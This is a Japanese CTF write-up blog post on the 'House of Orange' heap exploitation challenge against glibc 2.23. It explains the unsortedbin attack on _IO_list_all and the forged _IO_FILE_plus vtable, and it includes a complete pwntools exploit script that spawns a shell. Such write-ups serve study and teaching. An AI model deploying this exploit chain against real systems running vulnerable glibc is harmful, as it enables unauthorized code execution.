libc_baseのleakまでは簡単だったが、ここからの展開が思いつかない。。。

ということでここでangelboyさんのwriteupをカンニングした

 

 

 

 

abort()からの攻撃の概略

先程、memmory corruptionが起きてしまうから先に進めないと言ったが

このcorruptionによって呼ばれるabort()を利用してexploitを展開していく

 

 

_int_malloc()はcorruptionを検知した時 malloc_printerr() を呼ぶ

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3470

 

*** Error in `./houseoforange': malloc(): memory corruption: 0x00005567aa4e6540 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f9fa99767e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f9fa998113e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f9fa9983184]
./houseoforange(+0xd6d)[0x5567a849ad6d]
./houseoforange(+0x1402)[0x5567a849b402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f9fa991f830]
./houseoforange(+0xb19)[0x5567a849ab19]
======= Memory map: ========
5567a849a000-5567a849d000 r-xp 00000000 08:01 1629013                    /home/ctf/houseoforange
5567a869c000-5567a869d000 r--p 00002000 08:01 1629013                    /home/ctf/houseoforange
5567a869d000-5567a869e000 rw-p 00003000 08:01 1629013                    /home/ctf/houseoforange
5567aa4e6000-5567aa529000 rw-p 00000000 00:00 0                          [heap]
7f9fa4000000-7f9fa4021000 rw-p 00000000 00:00 0 
7f9fa4021000-7f9fa8000000 ---p 00000000 00:00 0 
7f9fa96e9000-7f9fa96ff000 r-xp 00000000 08:01 1452979                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9fa96ff000-7f9fa98fe000 ---p 00016000 08:01 1452979                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9fa98fe000-7f9fa98ff000 rw-p 00015000 08:01 1452979                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9fa98ff000-7f9fa9abf000 r-xp 00000000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9abf000-7f9fa9cbf000 ---p 001c0000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9cbf000-7f9fa9cc3000 r--p 001c0000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9cc3000-7f9fa9cc5000 rw-p 001c4000 08:01 1452958                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9fa9cc5000-7f9fa9cc9000 rw-p 00000000 00:00 0 
7f9fa9cc9000-7f9fa9cef000 r-xp 00000000 08:01 1452938                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9fa9ee6000-7f9fa9ee9000 rw-p 00000000 00:00 0 
7f9fa9eed000-7f9fa9eee000 rw-p 00000000 00:00 0 
7f9fa9eee000-7f9fa9eef000 r--p 00025000 08:01 1452938                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9fa9eef000-7f9fa9ef0000 rw-p 00026000 08:01 1452938                    /lib/x86_64-linux-gnu/ld-2.23.so
7f9fa9ef0000-7f9fa9ef1000 rw-p 00000000 00:00 0 
7ffe2a452000-7ffe2a473000 rw-p 00000000 00:00 0                          [stack]
7ffe2a578000-7ffe2a57b000 r--p 00000000 00:00 0                          [vvar]
7ffe2a57b000-7ffe2a57d000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

 

上のエラーメッセージは malloc_printerr()内の__libc_message ()に於いて表示される

今回は以下のような引数で呼ばれていた

(本来はmalloc_printerr()内から呼ばれるのだが、案の定インラインになっててデバッグしにくいっすね。。。)

 

 ► 0x7f41edce2139 <_int_malloc+1465>    call   __libc_message <0x7f41edcd7510>
        rdi: 0x2
        rsi: 0x7f41eddf0ed8 ◂— sub    ch, byte ptr [rdx] /* "*** Error in `%s': %s: 0x%s ***\n" */

 

今回はdo_abort==2で呼ばれているため以下のif branchでabort()が呼ばれる

https://elixir.bootlin.com/glibc/glibc-2.23/source/sysdeps/posix/libc_fatal.c#L170

(abort()を呼ぶ前にBEFORE_ABORTというマクロでbefore_abort()という空っぽの関数を呼んでいる)

 

さて、abort()@stdlibに入っていく

https://elixir.bootlin.com/glibc/glibc-2.23/source/stdlib/abort.c#L49

 

abortにはいくつかのstageがあるのだが

今回は stage1 に注目する

(その他のstageについては今後まとめられたらまとめる)

 

stage1 ではいくつかのインライン関数を経て _IO_flush_all_lockp() が呼ばれる

https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c#L759

 

重要な部分を抜き出すと以下のようになる

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //...★
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;
	
	(... snipped ...)
	
	if(...){
	...
	}else{
		fp = fp->_chain;
    }
}

 

_IO_list_all は以下のように定義される、_IO_FILE_plus構造体へのポインタである

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;

 

最初は stderr を指している

_IO_FILE_plus は _IO_FILE構造体とvtableを持つ構造体であった

おさらいとしてstderrを見てみると以下のようになっている

f:id:smallkirby:20200126012831p:plain

_IO_FILE_plus

_chain変数は次の_IO_FILE_plus構造体を指しており、単方向リストを構成している

 

注目は 最後のvtableである

以下の様に定義されており、FILE構造体に結びついたハンドラのポインタが入っている

https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/libioP.h#L307

 

試しに stderr のvtableを見てみると以下のようになっている

f:id:smallkirby:20200126013136p:plain

vtable

 

 

話を_IO_flush_all_lockp() に戻そう

 

fpには_IO_list_allが、すなわちstderrのアドレスが入っており

while文の末尾に於いてどんどんイテレートされていく

 

注目すべきは★のif文である

&&で結ばれた条件式があり、後者では_IO_OVERFLOW (fp, EOF) == EOFが評価される

_IO_OVERFLOWはいくらかのマクロを経た後に

fpの指す_IO_FILE_plusのvtableに入った__overflow関数が呼ばれることになる

 

 

まとめると

「memmory corruptionによってabort()が呼ばれて本来プログラムはオチるのだが

その際に_IO_list_allに登録された_IO_FILE_plus達のvtableの__overflowが呼ばれる」

 

 

よって今回はこの__overflowエントリをonegadgetsに書き換えることを目指す

 

 

unsortedbin attack

 典型的なunsortedbin attackによって任意アドレスの8byteを書き換えることができる

 今回は__IO_list_allを書き換えて、自分で作ったfake _IO_FILE_plusを指すようにしたい

 

任意アドレス書き換えは_int_malloc()に於いてunsortedをlistから外す際に行われる

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3515

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

 

よって「unsorted chunkのbk」(=bck)を_IO_list_all-0x10にしておくことで

(_IO_list_all-0x10)->fd = _IO_list_all がmain_arenaのunsorted_chunkを指すように書き換わる

(2.27以降のlibcでは双方向リストのチェックが行われるため unsortedbin attack, House of Orangeともに使用できなくなっている。悲しいね)

逆に言えば、任意アドレスを書き換えることはできるが、あくまで書き換え先はこのアドレスにすることしかできない

 

 

 

_IO_FILE_plusのforge

_IO_list_allを書き換えたのだから、この固定アドレスは_IO_FILE_plusとして見られることになる

それでは何もしない状態ではどうなっているか見てみよう

以下はunsortedbin attack直後の状態である

 

f:id:smallkirby:20200126015659p:plain

unsortedbin attack直後の_IO_list_all

 

そりゃあ、まあ、ぐちゃぐちゃになっている

但しここで注目すべきは、fpをイテレートする際に次のfpとなる__chainの値が _chain = 0x559fe67365e0 になっていること

これは以下の画像が示すとおりsmallbinsを指している

f:id:smallkirby:20200126020014p:plain

このときのbins

 

そしてこのsmall chunkはupdate()によってあと1回だけなら好きに編集することができる

 

よって、1回目のfpは捨てて、2回目のfpに於いて自作_IO_FILE_plusを用いて_IO_OVERFLOWを呼ぶことを目指す

 

 

ここで_IO_OVERFLOWが呼ばれる文脈を振り返ってみると、_IO_OVERFLOWが評価されるためには以下の条件の前者が満たされることが必要であった

 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) //...★
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

 

今回は fp->mode<=0 && fp->_IO_write_ptr > fp->_IO_write_base を満たすように調整する

それからvtable_offsetなどの正常な値であることが必要な部分も随時調整し

leakしたheap addrをもとにvtableのアドレスも計算して上書きしておき

vtableの__overflowエントリだけsystem(若しくはonegadget)を指すようにしておく

 

このようにして調整した forged _IO_FILE_plus は以下のようになった

f:id:smallkirby:20200126021329p:plain

forged _IO_FILE_plus

 

f:id:smallkirby:20200126021346p:plain

forged vtable

 

ということで準備は全て完了した

 

 

update()によってheapの状態を整えた後にbuild()を呼ぶと

_int_malloc()のunsortebinの処理for(;;)に於いて

1巡目: _IO_list_allをmain_arenaを指すようにunsortedbin attack

2巡目: memorry corruptionを検知してabort()される

  --> forged _IO_FILE_plusのvtableの__overflowが呼ばれてonegadgetが発火

 

 

 

4: exploit

#using glibc v2.23 on Ubuntu 16.04

#This exploit has some uncertainity due to the leaked heap address. When its last one byte is 0x00, exploit would collapse.

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "houseoforange"

rhp2 = {'host':"localhost",'port':7777}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

off_libc_arena = 0x3C4B20
off_libc_mallochook = 0x3C4B10
off_libc_IOlistall = 0x3C5520
off_libc_system = 0x45390

update_num = 0
update_max = 3
build_num = 0
build_max = 4

def hoge(conn,num):
  conn.recvuntil("Your choice : ")
  conn.sendline(str(num))

def build(conn,length,name,price,color):
  global build_max
  global build_num
  if build_max -1 == build_num:
    print("TOO MUCH build")
    raw_input("ENTER TO EXIT")
    exit(1)
  build_max += 1

  hoge(conn,1)
  conn.recvuntil("Length of name :")
  conn.sendline(str(length))
  conn.recvuntil("Name :")
  conn.send(name)
  conn.recvuntil("Price of Orange:")
  conn.sendline(str(price))
  conn.recvuntil("Color of Orange:")
  conn.sendline(str(color))

def see(conn):
  hoge(conn,2)

def update(conn,length,name,price,color):
  global update_max
  global update_num
  if update_max -1 == update_num:
    print("TOO MUCH UPDATE")
    raw_input("ENTER TO EXIT")
    exit(1)
  update_max += 1


  hoge(conn,3)
  conn.recvuntil("Length of name :")
  conn.sendline(str(length))
  conn.recvuntil("Name:")
  conn.send(name)
  conn.recvuntil("Price of Orange: ")
  conn.sendline(str(price))
  conn.recvuntil("Color of Orange: ")
  conn.sendline(str(color))

def giveup(conn):
  hoge(conn,3)


def exploit(conn):
  #invoke _int_free()
  Asize = 0x100
  Fsize = 0x1000
  Gsize = 0x400

  LSBs = 0xeb1
  build(conn,Asize,"A"*Asize,100,1)
  payload = "B"*Asize + "C"*0x8 + p64(0x21) + p32(2) + p32(0xc8) + "D"*0x8 + p64(0) + p64(LSBs)
  update(conn,len(payload),payload,200,2) #overwrite top size
  
  build(conn,Fsize,"F"*0x20,200,3) #invoke brk() and _int_free() (HoO)
  build(conn,Gsize,"G"*0x8,200,3)   #split the unsorted

  #leak libc_base
  see(conn)                         #leak main_arena+1640
  conn.recvuntil("Name of house : " + "G"*0x8)
  mainarena = unpack(conn.recvline().rstrip().ljust(8,'\0')) - 1640
  libcbase = mainarena - off_libc_arena 
  malloc_hook = libcbase + off_libc_mallochook
  IO_list_all = libcbase + off_libc_IOlistall
  system = libcbase + off_libc_system
  print("[+]main_arena: "+hex(mainarena))
  print("[+]libc base: "+hex(libcbase))
  print("[+]malloc_hook: "+hex(malloc_hook))
  print("[!]IO_list_all: "+hex(IO_list_all))
  print("[!]system: "+hex(system))

  #leak heap_addr
  update(conn,0x20,"H"*0x10,900,1)
  see(conn)
  conn.recvuntil("Name of house : " + "H"*0x10)
  heap_addr = unpack(conn.recvline().rstrip().ljust(8,'\0')) 
  print("[+]heap_addr: "+hex(heap_addr))
  info_addr = heap_addr + 0x460
  print("[+]info_addr: "+hex(info_addr)) 
  

  #
  injected_addr = heap_addr  #smallbin we can manipulate
  vtable_addr = injected_addr + 0x600
  onegadget = libcbase + 0x45216
  print("[+]vtable_addr: "+hex(vtable_addr))

  payload = p8(0x71)*(Gsize + 0x20)
  fake_file = "/bin/sh\0" + p64(0x61) #_IO_list_all would be overwriten to point to main_arena+88. When we look it as _IO_FILE*, its _chain would become here
  fake_file += p64(0x0) #fd
  fake_file += p64(IO_list_all-0x10) #bk
  
  fake_file += p8(0)*(0x20-len(fake_file))
  fake_file += p64(0x10) #char *_IO_write_base
  fake_file += p8(0)*(0x28-len(fake_file))
  fake_file += p64(0x100) #char *_IO_write_ptr
  fake_file += p8(0)*(0x82-len(fake_file))
  fake_file += p8(0) #signed char _vtable_offset
  fake_file += p8(0)*(0xc0-len(fake_file))
  fake_file += p32(0xffffffff) #int mode
  fake_file += p8(0)*20 #unused
  fake_file += p64(vtable_addr)
  payload += fake_file
  payload += p8(0)*(0x600 - len(payload) - 0x10)
  payload += p64(0)*3
  #payload += p64(onegadget) #either do I 
  payload += p64(system) 
  update(conn,0x800,payload,10,1)

  print("[-]payload length: "+hex(len(payload)))

  hoge(conn,1)



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

5: 結果

サーバ側ではエラーメッセージが出て

exploit側では無事にシェルが取れた

 

f:id:smallkirby:20200126021931p:plain

 

 

 

6: アウトロ

今更使えるテクニックではないが、vtable書き換え等は普遍的に使えるし

ホストと異なるlibcでのデバッグにも慣れる練習になった

 

 

最近は相変わらず特に忙しいわけでもないが

何故かpwnから離れていたため、久しぶりに問題を解いて楽しかった

 

 

 

 

 

 

さぁ、来週締切の2つの課題と未だノータッチの7個くらいの試験勉強でもやろうかな

 

次回はHouse of Corrosionを試せたらと思います

 

 

 

 

 

 

続く・・・

 

 

 

 

 

 

 

 

 

 

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.